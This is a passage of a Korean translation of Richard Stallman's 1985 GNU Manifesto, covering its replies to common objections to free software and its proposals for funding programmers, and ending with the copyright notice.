설치하지 못하게 함으로써 이 정책을 고수 했다. 나는 이것에서 커다란 영감을 받게 되었다.
결국에는, 누가 시스템 소프트웨어를 소유하고 있으며 누구에게 사용할 수 있는 자격을 부여할
것인지 아닌지를 고려하는 제비용은 상승하게 될 것이다.
복사 라이센스를 포함하여 프로그램 사용에 대한 지불을 준비할때는 언제나 개인이 지불해야할
돈이 얼마인가를 알아내야 하는 필요성을 통하여 사회에 많은 비용을 야기시킨다. 그리고, 오직
경찰 당국 만이 모든 사람이 그것을 따르게 하도록 힘을 행사할 수 있다. 막대한 비용을 들여
공기를 생산하는 우주정거장을 생각해 보자. 이런 경우 각각의 개인은 자신이 호흡하는 공기에
대해 리터단위로 요금을 지불 하는 것이 합당할 것이다. 그렇다고는 해도 호흡하는 공기의 양을
계측하기 위해 메터기가 달린 방독면을 밤낮으로 쓰고 있어야 한다면 그런 방식은 타당한 것이
아니다. 그리고 TV 카메라는 당신이 마스크를 벗는 불법을 행하는지 어디서나 지켜 보아야 할
것이며 따라서, 이것 보다는 사람수에 따라 일정한 세금을 부과하고 마스크를 벗어던지는 것이
현명하다.
프로그램의 일부 혹은 전체를 복사하는 행위는 프로그래머에게 있어서는 숨을 쉬는 것만큼이나
자연스러운 일이며 생산적이다. 따라서, 프로그램은 마땅히 공개되어야 한다.
몇가지 GNU의 목표에 대한 반대 의견
"무료라면 아무도 그것을 쓰지 않을 것이다. 왜냐하면 무료라는 것은 어떠한 지원도 기대할 수
없다는 것을 의미하기 때문이다."
 "당신은 그 프로그램에 대한 지원과 도움을 제공하는 댓가로 이에 관한 비용을 부과해야만 한다."
만약 사람들이 돈을 지불하고서 GNU에 대한 서비스를 받기 희망한다면, GNU를 무료로 얻은
사람들에게 서비스를 제공하는 회사도 이익을 얻을 수 있을 것이다.
우리는 반드시 실제 프로그래밍 작업과 단순 관리 작업을 구별해야 한다. 전자는 때때로
소프트웨어 판매 회사에게 의존할 수가 없다. 만일 당신의 문제가 충분한 사람에 의해 나누어지지
않는다면, 회사는 잊어버리라고 말할 것이다.
만일 당신의 사업이 지원에 대한 의존이 필요하다면, 가능한 필요한 모든 소스와 도구를 갖춰야할
것이다. 그러면, 당신은 당신의 문제를 해결해 줄 수 있는 사람을 고용할 수 있으며, 이것은 다른
어떤 사람의 자비를 받는 것은 아니다. 유닉스 상에서, 소스의 가격은 대부분 고려되지 않으며,
GNU는 더 쉬울 것이다. 이것은 여전히 유능한 사람이 필요 없을 수는 있으나, 이 문제는 배포에
따른 비난을 할 수 없다. GNU는 모든 세계의 문제를 제거하는 것은 아니며, 단지 그중 하나이 다.
한편, 컴퓨터에 대해 전혀 모르는 사용자들은 여전히 단순한 관리 서비스를 필요로 한다. 이러한
일은 사용자 스스로 능히 처리할 수 있는 종류의 일이지만 그들은 그러한 방법을 모르기
때문이다.
이런 서비스들은 단순한 수작업이나 복구 서비스를 지원하는 회사들이 제공할 수 있다.
사용자들이 제품을 사고, 그에 대한 서비스를 받는 방식을 받아들인다면, 제품을 무료로 받고
서비스에 대한 비용을 지불하는 방식에도 기꺼이 동의할 것이다. 서비스를 제공하는 회사들은
가격과 질적인 면에서 모두 완벽을 기할 수 있을 것이며 사용자들은 어떤 특정한 업체에 얽매일
필요는 없을 것이다. 또한, 그러한 서비스가 필요하지 않은 사람들은 서비스에 대한 비용을
들이지 않고도 프로그램들을 쓸 수 있을 것이다.
"광고를 하지 않고는 많은 사람들에게 알릴 수 없을 것이며, 그러기 위해서 는 필히 프로그램에
가격을 매겨야 한다.
 "무료로 제공되는 프로그램을 광고하는 것은 무의미하다."
GNU 같은 프로그램을 많은 컴퓨터 사용자들에게 알릴 수 있는 방법에는, 무료, 혹은 극히 적은
비용으로 사용할 수 있는 다양한 공공 정보 전파 방식이 있다. 그러나 광고를 하는 것이 보다 많은
마이크로 컴퓨터 사용자에게 알릴 수 있는 방법일지도 모른다. 만일 실제로 이런 것이
사실이라면, 복사와 배포를 하는데 돈을 받음으로써 능히 광고와 그외의 부수적인 비용을 감당할
수 있을 것이다. 이런 방식에서는, 광고를 보고 배포본을 구입해서 이익을 얻을 수 있는 사용자가
광고 비용을 부담하게 되는 것이다.
반면, 많은 사람들이 GNU를 그 친구들을 통해서 구한다면, 이런 종류의 회사들은 성공할 수 없을
것이다. 이는 GNU를 보급하는데 광고가 필요한 것은 아님을 보여준다. 그렇다고 한다면 무료로
보급되고 있다는 사실이 무료로 알려지는 것을 바라지 않을만한 이유가 있겠는가?
"나의 회사는 경쟁사들에 대한 우위를 차지하기 위해 독점적인(고유의) 운영체제가 필요하다."
GNU는 시스템 소프트웨어 경쟁이라는 범주에서 제외될 것이다. 당신의 회사가 우위를 차지할 수
없는 것처럼, 당신의 경쟁사들도 그점에 있어서는 마찬가지일 것이다. 당신과 당신의 경쟁사들
모두 이 분야에서는 별반 이득을 볼 수 없겠지 만, 다른 분야에서 서로 경쟁하는 것은 가능할
것이다. 당신의 사업이 운영체제를 판매하는 것이라면, GNU가 마땅치 않게 생각 될 것이다.
당신의 사업이 이런 종류가 아니라면, GNU는 시스템 소프트웨어에 관련된 막대한 비용을 절감해
줄 것이다.
나는 제작자와 사용자들이 GNU의 발전에 기여해 나감으로써 서로의 비용을 절감할 수 있기를
희망한다.
"프로그래머는 그의 창의력에 대한 보상을 받을 자격이 있지 않은가?"
보상받을 만한 일이란 사회적 공헌을 말한다. 창의성이란 그 결과물을 사회가 댓가 없이 사용할
수 있을 때 사회적 공헌이 되는 것이다. 어떤 혁신적인 프로그램을 제작한 사람이 그에 대해
보상을 받아야만 한다면, 같은 맥락에서 그것을 자유롭게 사용하지 못하게 한다면 그때는 제재를
받아야 할 것이다.
"프로그래머는 그의 창의력에 대한 보상을 요구할 수 없는가?"
유해한 수단을 사용하지 않는다면, 노동에 대한 보수와 자신의 소득이 극대화 되기를 바라는 것은
아무 문제가 없다. 그러나 지금까지 소프트웨어 산업에서 보편화된 수단은 유해한 방법이다.
프로그램을 사용하는 것에 제한을 둠으로써 돈을 벌어들이는 행위는 프로그램이 사용되는 범위와
방식을 제한하기 때문에 유해한 것이다. 이는 인간들이 프로그램으로부터 얻을 수 있는 전체적인
풍요로움을 감소시키는 것이다.
선량한 시민이라면 자신이 보다 부유해지기위해 그런 수단을 쓰지 않는다. 그 까닭은, 만일 모든
사람들이 그렇게 한다면 상호간의 유해한 행위로 인해 결과적으로 우리 모두는 보다 빈곤해 질
것이기 때문이다. 이것은 칸트의 윤리학이나 황금율같은 분명한 것이다. 나는 모든 사람들이
자기만의 정보를 축적해나가는 것은 바람직하다고 여기지 않기 때문에, 누군가 그런 일을 한다면
나는 그것이 잘못된 일이라고 생각할 필요를 느끼게 되었다. 특히, 한 개인의 창의성을 보장
받고자하는 욕구가 일반적으로 전체의 창의성이나 혹은 그 일부분을 저하시키는 행위를 정당화
시키지는 않는다.
"프로그래머들의 밥줄이 끊기지 않을까?"
나는 모든 사람이 프로그래머가 될 필요는 없다고 답하고 싶다. 아마 우리들 대부분은 거리에
나가 인상을 써서 간신히 약간의 돈을 벌어 살아갈 수는 없을 것이다. 그러나 결과적으로, 우리는
거리에 나가 인상 써서 돈을 번다고 비난 받을 필요도 없고, 또한 빈궁해질 필요도 없을 것이다.
우리는 그와는 다른 일을 할 수 있을 것이다.
그러나 이것은, "프로그래머는 소프트웨어를 소유하지 않으면 단 한푼도 벌수 없다" 라고
질문하는 사람의 독단적인 가정을 받아 들였다는 점에서 오답이라 할 수 있다. 아마도, 이런
생각은 극단적일 것이다.
프로그래머가 생계에 지장을 받지 않을 것에 대한 진정한 이유는, 지금과 같은 정도는 아니겠지만
여전히 프로그래밍으로 돈을 벌 방법들이 있기 때문이다.
프로그램 복사를 제한하는 것이 소프트웨어 사업의 유일한 기본 방침은 아니다. 이런 방침이
보편화된 것은 이렇게 함으로써 가장 돈을 많이 벌 수 있기 때문이 다. 고객들에 의해 이런 방식이
거부되거나 금지된다고 해도, 소프트웨어 사업은 지금까지 흔하지는 않았던 새로운 조직체계로
전환해 나갈 길을 모색할 수 있을 것이다. 여러가지 사업을 한데 묶어 조직화하는 방법은 무궁
무진한 것이다.
아마 새로운 기반하에서의 프로그래밍은 지금처럼 수익성이 높은 일은 아닐 것이다. 하지만
이것이 변화의 쟁점은 아니다. 지금의 판매 사원들이 그들의 봉급을 버는 방식이 불합리한
것이라고 생각하지는 않는다. 프로그래머들이 그와같은 방법으로 소득을 올린다해도 하등
정당하지 못할 이유가 없다. (실제적으로 프로그래머들은 여전히 그들보다 월등히 많은 소득을
올리고 있다.)
"누구든 그들의 창의력이 사용되는 방법을 지배할 수 있지 않은가?"
"인간 생각의 쓰임새를 지배하는 것"은 실제적으로는 그의 인생을 지배하는 것이다. 이는 자신의
인생을 보다 어렵게 만들곤 한다.
지적 소유권에 관해 상세하게 공부한 사람들(변호사 등)은 그 자체로서 완벽한 지적 소유물은
없다고 말한다. 정부가 인정하는 추상적인 지적 소유권들은 특정 목적을 위한 특정 법률 조항으로
부터 발생한 것이다.
예를 들어, 특허제도는 발명가가 그의 고안품의 세부사항을 공개하는 것을 장려하고자
설립된것이다. 그 목적은 발명한 사람을 돕기보다는 사회를 돕기 위한 것이다. 시간의 측면에서
보면, 특허가 갖는 17년간의 유효기간은 기술이 발전하는 비율과 비교해 볼때 짧다. 특허권은
생산업자들 사이의 문제이고, 생산을 향상 시키는 것과 비교해서 특허권 계약에 드는 비용과
노력은 작다고 보기 때문에, 특허권은 일반적으로 그다지 해악하게 작용하지는 않는다. 또한,
그것은 대부분의 개인들이 특허 받은 제품을 사용하는 것을 제한하지는 않는다.
고대에는 저작권이라는 것이 존재하지 않았으며 그 시대에 작가들은 빈번하게 다른 이의 작품
상당량을 실제의 (허구가 아닌) 작품에 복제하기도 했다. 이런 작업들은 유용한 것이었으며, 비록
그 일부분이기는 하지만 많은 사람들의 작품이 계속해서 전수 되는(존재해 나가는) 유일한
방법이었다. 저작권 제도는 작가의식을 고취 시키고자 급진적으로 만들어진 것이다. 이것이 처음
만들어 질 때 주로 염두에 두었던 책의 범주에서 보면, 책은 실용적인 측면에서 인쇄기를
사용해야만 복사가 가능 하기 때문에 저작권은 그다지 해롭지는 않았다. 또한, 대다수의 사람들이
책을 읽는 것을 제한하지도 않았다.
모든 지적 소유권은, 그것들이 어떻던지 그를 허용함으로써 사회전체에 이득이 된다고 여겨져서,
사회가 허용할 때만 정당하게 되는 것이다. 그러나 어떤 특정 상황에서든 우리는 "그런 인가를
내주는 것이 정말로 우리에게 유익한가? 어떤 종류의 인가를 내줄 것인가?" 하는 질문을 해보야만
한다.
오늘날의 프로그램들의 경우는 백여년전의 책의 경우와 크게 다르다. 프로그램이 이웃간에
손쉽게 복사될 수 있다는 사실, 소스 코드와 목적 코드로 구분된다는 점, 읽기위한 것이 아니라
즐기기 위한 것이라는 사실들이 묶여져서, 저작권을 강요하는 사람들이 전체사회에 정신적,
물질적으로 해를 끼치는 상황을 만들고 있다.
"경쟁 함으로써 보다 나은 결과를 얻을 수 있는가?"
모범적인 경쟁 방식은 경주(race) 이며, 승자에게 상을 줌으로써 주자들이 더욱 빨리 달리도록
장려할 수 있는 것이다. 만약 자본주의가 실제로 이런 방식을 따른다면 이는 바람직한 것이다.
그러나 자본주의 옹호론자들은 실제로 항상 이런 방식으로 움직인다고 단정짓는 잘못을 범한다.
만일, 주자들이 상이 주어지는 이유를 망각한채 승리에만 집착한다면, 말할것도 없이 그들은 다른
주자를 공격한다든지하는 색다른 전략은 찾게 될 것이다. 주자들이 먼저 싸우기 부터 한다면,
그들은 결국 모두 늦어질 수 밖에 없는 것이다.
독점적이고 비밀에 싸인 소프트웨어는, 도덕적으로 먼저 싸우기 부터하는 주자들과 동일 하다.
슬픈 일이지만, 우리의 유일한 심판은 그다지 공정해 보이지 않으며, "매 10 야드마다 한번씩
상대방을 가격할 수 있다." 는 규정을 적용하는 정도일 것이다. 그러한 싸움이 있을 때는, 그들을
떼어놓고 벌칙을 주어야하는데도 말이다.
"금전적인 장려가 없다면 아무도 프로그래밍을 하지 않을 것이다."
실제적으로, 많은 사람들이 분명한 금전적인 장려가 없이도 프로그래밍을 할 것이 다.
프로그래밍은 어떤 사람들에게는 저항할 수 없는 매력인 것이며, 일반적으로 프로그래밍에
능숙한 사람에게 더욱 그렇다. 비록 생활의 기반이 될 가망이 없더라도 꾸준히 계속해가는
직업적인 음악인들이 많이 있다.
그러나 실제로 질문은, 비록 일반적으로 많이 제기 되지만, 상황에 적합하지 못하다.
프로그래머들의 소득원이 없어 지는 것이 아니라 단지 수입이 줄어드는 것일 뿐이다. 따라서
올바른 질문은 "금전적인 보상이 줄어들더라도 사람들이 프로그래밍을 하게 될까?" 일 것이다. 내
경험에 의하면 그렇게 할 것이다.
십년 이상 동안, 세계 정상급 프로그래머들이 인공지능 연구소에서 일했었지만, 그들이 받은
보수는 다른 어떤 곳에서 기대할 수 있는 것보다 훨씬 적은 것이었다. 그들은 명성이나 감사같은
다양한 종류의 비금전적인 보상을 받았다. 그리고 창의력은 그 자체 안에 보상이라는 개념을
가지고 있다는 점에서 흥미로운 것이다.
그 후, 그들 대부분은 이전의 작업처럼 그들이 흥미롭게 생각하는 일을 높은 보수를 받으며 할 수
있는 기회가 주어지자 연구소를 떠났다.
이 사실에서 알 수 있는 것은 사람들은 부유해지기 보다는 어떤 까닭을 위해서 프로그래밍을
한다는 것이며 그런 조건위에 상당한 보수까지 받을 기회가 주어진다면, 그를 예상하고 요구하게
되는 것이다. 보수가 낮은 조직은 높은 보수를 받 는 조직과의 경쟁에서 뒤지 겠지만, 만일 높은
보수를 받는 조직과는 상호이동이 없는 완전히 개별적인 집단이라면 그들 나름대로 훌륭하게
활동할 것이다.
"우리는 프로그래머가 절대적으로 필요하다. 만일 그들이 우리의 이웃을 돕지말라 하면 우리는
따를 수 밖에 없다."
당신들은 결코 그런 종류의 요구에 복종해야할 만큼 절박하지 않다. 명심하라. 열 장정이 도둑
하나를 막지 못하는 법이다.
"프로그래머들도 어떤식으로든 그들의 생계를 꾸려 나가야 하지 않은가?"
요컨데 이것은 진실이다. 그러나 프로그램의 사용에 대한 권리를 파는 것 이외에도 생계를 꾸릴
수 있는 수많은 방법들이 있다. 현재 사용에 대한 권리를 파는 것이 보편적으로 받아 들여지는
것은 그런 방식으로 프로그래머나 사업자들이 보다 많은 돈을 벌 수 있기 때문이지, 결코 이것이
생계를 유지하는 유일한 방법이기 때문은 아니다. 다른 방법을 찾고자 한다면 얼마든지 가능할
것이다. 여기 여러가지 예들이 있다.
새로운 컴퓨터를 내놓는 제조업자는 새 기계에 운영체제를 이식하기위한 비용을 지불하게 된다.
 교육, 단순 관리 작업, 지속적인 서비스들을 제공하는 회사에서도 역시 프로그래머는 필요한
것이다.
사용자의 마음에 흡족하다면 그에 대한 보수를 지불해달라고 요구하는, 프리웨어라는 새로운
아이디어로 프로그램들을 배포하는 사람들도 있다. 혹은 단순 관리 서비스를 제공하고 보수를
받는 사람들도 있다. 나는 이미 이런 방식으로 성공한 사람들을 만났다.
도움이 필요한 사용자들은 사용자 그룹을 결성하고 회비를 조성할 수 있을 것이다. 그룹은
프로그래밍 회사와 계약을 맺고 회원들이 원하는 프로그램을 주문 제작할 수 있을 것이다.
모든 종류의 발전에 필요한 기금은 소프트웨어 세금으로 조성할 수 있을 것이다.
만약, 컴퓨터를 구입하는 모든 사람들이 가격의 x 퍼센트를 소프트웨어 세금으로 지불한다면,
정부는 그 돈을 소프트웨어 발전에 쓰여 지도록 NSF 같은 단체에 지원할 수 있을 것이다.
그러나, 컴퓨터 구입자가 개별적으로 소프트웨어 발전에 공헌을 한바가 있다면, 그는 세금을 면제
받게 될 것이다. 그는 스스로 어느 프로젝트에 기부할 것인지를 결정할 수 있을 것이며, 때론 그
결과를 쓸 수 있을 것이란 기대를 품고 결정을 내리게 될 것이다. 얼마를 기부하든 지불해야 할
세금 전액을 대신할 수 있을 것이다.
 세금의 전체적인 세율은 납세자들이 투표를 해서 결정할 수 있을 것이며, 지불할 액수에 따라
차등 조정될 것이다.
결론:
* 컴퓨터 사용자 공동체는 소프트웨어 발전을 지원한다.
 * 어느 수준의 지원을 할 것인가는 이 공동체가 결정한다.
 * 자신의 몫이 어떤 프로젝트에 쓰일 것인가에 관심있는 사용자들은 이를 스스로 결정할 수 있을
것이다.
결국에는, 프로그램을 무료로 보급하는 것은 더이상 단지 생계를 위해 고되게 일할 필요가 없는
풍요로운 세계로 가는 한 단계인 것이다. 사람들은 프로그래밍 같은 자신이 흥미를 가질 수 있는
일에 자신을 몰입할 수 있는 자유를 갖게될 것이다. 법률이 규정하는 주당 열 시간 정도의 시간을
마친 후엔, 가족들과 담소 한다 든지, 로보트를 수리 한다든지, 천체를 관측하는 일 따위를 하게 될
것이다.
 더이상 프로그래밍을 생계의 수단으로 삼을 필요가 없게 될 것이다.
우리는 이미, 실제적인 생산성을 향상 시키기위해 전체 사회가 부담해야할 작업의 분량을 많이
감소 시켰다. 이중 매우 적은 부분는 단지 프로그래머들의 유희를 위해서 작성되었다. 그 까닭은
비생산적인 활동은 생산적인 활동을 하기위해 필요한 것이기 때문이다. 이런 일을 하게된 주된
이유는 경쟁을 대신할 수 있는 관료 정책이며 그와 동일한 부피를 갖는 몸부림인 것이다.
프리소프트웨어는 소프트웨 어 생산 분야에서 생산력이 낭비되는 것을 크게 감소 시킬 수 있을
것이다. 우리 는 이러한 작업을 해나가야 하며, 생산성을 위한 기술 습득은 적은 노력으로 가능 할
것이다.
                                                    Copyright (C) 1985 Richard M. Stallman
이 문서의 저작권과 배포 허용에 관한 주의사항을 전제하기만 한다면, 누구나 이 문서를 요약해서
배포하거나 부분적으로 인용할 수 있으며, 이 글과 같은 방법으 로 자신의 문서가 재배포되는
것을 허용할 수 있을 것이다.